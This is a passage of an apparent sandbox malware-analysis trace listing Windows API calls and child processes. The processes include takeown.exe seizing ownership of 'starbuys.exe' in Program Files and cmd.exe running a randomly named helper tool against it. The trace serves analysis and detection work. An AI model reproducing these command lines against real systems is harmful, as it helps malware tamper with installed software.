[0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetLastError () returned 0x0 [0116.640] SetLastError (dwErrCode=0x0) [0116.640] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0116.641] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.642] SetLastError (dwErrCode=0x0) [0116.642] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.643] GetLastError () returned 0x0 [0116.643] SetLastError (dwErrCode=0x0) [0116.644] GetLastError () returned 0x0 [0116.644] SetLastError (dwErrCode=0x0) [0116.644] GetLastError () returned 0x0 [0116.644] SetLastError (dwErrCode=0x0) [0116.644] GetLastError () returned 0x0 [0116.657] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1c0100 | out: hHeap=0x1a0000) returned 1 [0116.657] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | out: phModule=0x12fe58) returned 0 [0116.657] RtlExitUserProcess (ExitCode=0x1) [0116.658] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bf070 | out: hHeap=0x1a0000) returned 1 Process: id = "215" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x742ba000" os_pid = "0xf6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "210" os_parent_pid = "0xf34" cmd_line = "takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 810 os_tid = 0xf70 Process: id = "216" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x762c3000" os_pid = "0xf78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "210" os_parent_pid = "0xf34" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 812 os_tid = 0xf7c [0118.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32f7cc | out: lpSystemTimeAsFileTime=0x32f7cc*(dwLowDateTime=0xe9e92860, dwHighDateTime=0x1d5d06a)) [0118.212] GetCurrentProcessId () returned 0xf78 [0118.212] GetCurrentThreadId () returned 0xf7c [0118.212] GetTickCount () returned 0x11652b3 [0118.212] QueryPerformanceCounter (in: lpPerformanceCount=0x32f7c4 | out: lpPerformanceCount=0x32f7c4*=26016461878) returned 1 [0118.213] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0118.213] __set_app_type (_Type=0x1) [0118.213] __p__fmode () returned 0x76be31f4 [0118.213] __p__commode () returned 0x76be31fc [0118.213] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0118.213] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0118.214] GetCurrentThreadId () returned 0xf7c [0118.214] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf7c) returned 0x60 [0118.214] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0118.214] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0118.214] SetThreadUILanguage (LangId=0x0) returned 0x409 [0118.215] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0118.215] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32f75c | out: phkResult=0x32f75c*=0x0) returned 0x2 [0118.215] VirtualQuery (in: lpAddress=0x32f793, lpBuffer=0x32f72c, dwLength=0x1c | out: lpBuffer=0x32f72c*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.215] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32f72c, dwLength=0x1c | out: lpBuffer=0x32f72c*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0118.215] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32f72c, dwLength=0x1c | out: lpBuffer=0x32f72c*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0118.215] VirtualQuery (in: lpAddress=0x233000, lpBuffer=0x32f72c, dwLength=0x1c | out: lpBuffer=0x32f72c*(BaseAddress=0x233000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.215] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32f72c, dwLength=0x1c | out: lpBuffer=0x32f72c*(BaseAddress=0x330000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0118.215] GetConsoleOutputCP () returned 0x1b5 [0118.215] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0118.215] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0118.215] _get_osfhandle (_FileHandle=1) returned 0x80 [0118.215] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0118.215] _get_osfhandle (_FileHandle=1) returned 0x80 [0118.215] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0118.216] _get_osfhandle (_FileHandle=0) returned 0x3 [0118.216] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0118.216] GetEnvironmentStringsW () returned 0x4021d0* [0118.216] GetProcessHeap () returned 0x3f0000 [0118.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb80) returned 0x402d58 [0118.216] FreeEnvironmentStringsW (penv=0x4021d0) returned 1 [0118.216] GetProcessHeap () returned 0x3f0000 [0118.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x402050 [0118.216] GetEnvironmentStringsW () returned 0x4021d0* [0118.216] GetProcessHeap () returned 0x3f0000 [0118.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb80) returned 0x4038e0 [0118.217] FreeEnvironmentStringsW (penv=0x4021d0) returned 1 [0118.217] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32e6cc | out: phkResult=0x32e6cc*=0x68) returned 0x0 [0118.217] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x0, lpData=0x32e6d8*=0x0, lpcbData=0x32e6d0*=0x1000) returned 0x2 [0118.217] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x4, lpData=0x32e6d8*=0x1, lpcbData=0x32e6d0*=0x4) returned 0x0 [0118.217] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x0, lpData=0x32e6d8*=0x1, lpcbData=0x32e6d0*=0x1000) returned 0x2 [0118.217] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x4, lpData=0x32e6d8*=0x0, lpcbData=0x32e6d0*=0x4) returned 0x0 [0118.217] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x4, lpData=0x32e6d8*=0x40, lpcbData=0x32e6d0*=0x4) returned 0x0 [0118.217] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x4, lpData=0x32e6d8*=0x40, lpcbData=0x32e6d0*=0x4) returned 0x0 [0118.217] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x0, lpData=0x32e6d8*=0x40, lpcbData=0x32e6d0*=0x1000) returned 0x2 [0118.217] RegCloseKey (hKey=0x68) returned 0x0 [0118.217] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32e6cc | out: phkResult=0x32e6cc*=0x68) returned 0x0 [0118.218] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x0, lpData=0x32e6d8*=0x40, lpcbData=0x32e6d0*=0x1000) returned 0x2 [0118.218] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x4, lpData=0x32e6d8*=0x1, lpcbData=0x32e6d0*=0x4) returned 0x0 [0118.218] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x0, lpData=0x32e6d8*=0x1, lpcbData=0x32e6d0*=0x1000) returned 0x2 [0118.218] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x4, lpData=0x32e6d8*=0x0, lpcbData=0x32e6d0*=0x4) returned 0x0 [0118.218] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x4, lpData=0x32e6d8*=0x9, lpcbData=0x32e6d0*=0x4) returned 0x0 [0118.218] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x4, lpData=0x32e6d8*=0x9, lpcbData=0x32e6d0*=0x4) returned 0x0 [0118.218] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32e6d4, lpData=0x32e6d8, lpcbData=0x32e6d0*=0x1000 | out: lpType=0x32e6d4*=0x0, lpData=0x32e6d8*=0x9, lpcbData=0x32e6d0*=0x1000) returned 0x2 [0118.218] RegCloseKey (hKey=0x68) returned 0x0 [0118.218] time (in: timer=0x0 | out: timer=0x0) returned 0x5e271108 [0118.218] srand (_Seed=0x5e271108) [0118.218] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner" [0118.218] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner" [0118.218] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.219] GetProcessHeap () returned 0x3f0000 [0118.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x404468 [0118.219] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x404470, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0118.219] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0118.219] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0118.219] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0118.219] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0118.219] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0118.219] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0118.219] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0118.219] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0118.220] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0118.220] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0118.220] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0118.220] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0118.220] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0118.220] GetProcessHeap () returned 0x3f0000 [0118.220] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x404680 [0118.220] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f498 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.220] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x32f498, lpFilePart=0x32f494 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32f494*="Desktop") returned 0x25 [0118.220] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0118.220] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f214 | out: lpFindFileData=0x32f214*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x402060 [0118.220] FindClose (in: hFindFile=0x402060 | out: hFindFile=0x402060) returned 1 [0118.220] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x32f214 | out: lpFindFileData=0x32f214*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x402060 [0118.220] FindClose (in: hFindFile=0x402060 | out: hFindFile=0x402060) returned 1 [0118.220] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0118.220] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x32f214 | out: lpFindFileData=0x32f214*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x402060 [0118.220] FindClose (in: hFindFile=0x402060 | out: hFindFile=0x402060) returned 1 [0118.221] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0118.221] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0118.221] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0118.221] GetProcessHeap () returned 0x3f0000 [0118.221] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x402d58 | out: hHeap=0x3f0000) returned 1 [0118.221] GetEnvironmentStringsW () returned 0x4021d0* [0118.221] GetProcessHeap () returned 0x3f0000 [0118.221] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb80) returned 0x402d58 [0118.221] FreeEnvironmentStringsW (penv=0x4021d0) returned 1 [0118.221] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.221] GetProcessHeap () returned 0x3f0000 [0118.221] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404680 | out: hHeap=0x3f0000) returned 1 [0118.221] GetProcessHeap () returned 0x3f0000 [0118.221] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400e) returned 0x404ee0 [0118.222] GetProcessHeap () returned 0x3f0000 [0118.222] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4021d0 [0118.222] GetProcessHeap () returned 0x3f0000 [0118.222] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404ee0 | out: hHeap=0x3f0000) returned 1 [0118.222] GetConsoleOutputCP () returned 0x1b5 [0118.222] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0118.222] GetUserDefaultLCID () returned 0x409 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32f5d8, cchData=128 | out: lpLCData="0") returned 2 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32f5d8, cchData=128 | out: lpLCData="0") returned 2 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32f5d8, cchData=128 | out: lpLCData="1") returned 2 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0118.223] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0118.223] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0118.224] GetProcessHeap () returned 0x3f0000 [0118.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x20c) returned 0x402248 [0118.225] GetConsoleTitleW (in: lpConsoleTitle=0x402248, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0118.225] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0118.225] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0118.225] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0118.225] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0118.226] GetProcessHeap () returned 0x3f0000 [0118.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400a) returned 0x404ee0 [0118.226] GetProcessHeap () returned 0x3f0000 [0118.226] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404ee0 | out: hHeap=0x3f0000) returned 1 [0118.227] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0118.227] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0118.227] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0118.227] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0118.227] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0118.227] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0118.227] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0118.227] GetProcessHeap () returned 0x3f0000 [0118.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x404680 [0118.227] GetProcessHeap () returned 0x3f0000 [0118.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x22) returned 0x402460 [0118.228] GetProcessHeap () returned 0x3f0000 [0118.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x402490 [0118.228] GetConsoleTitleW (in: lpConsoleTitle=0x32f2d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0118.272] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0118.272] _wcsicmp (_String1="bv6ncK8c.exe", 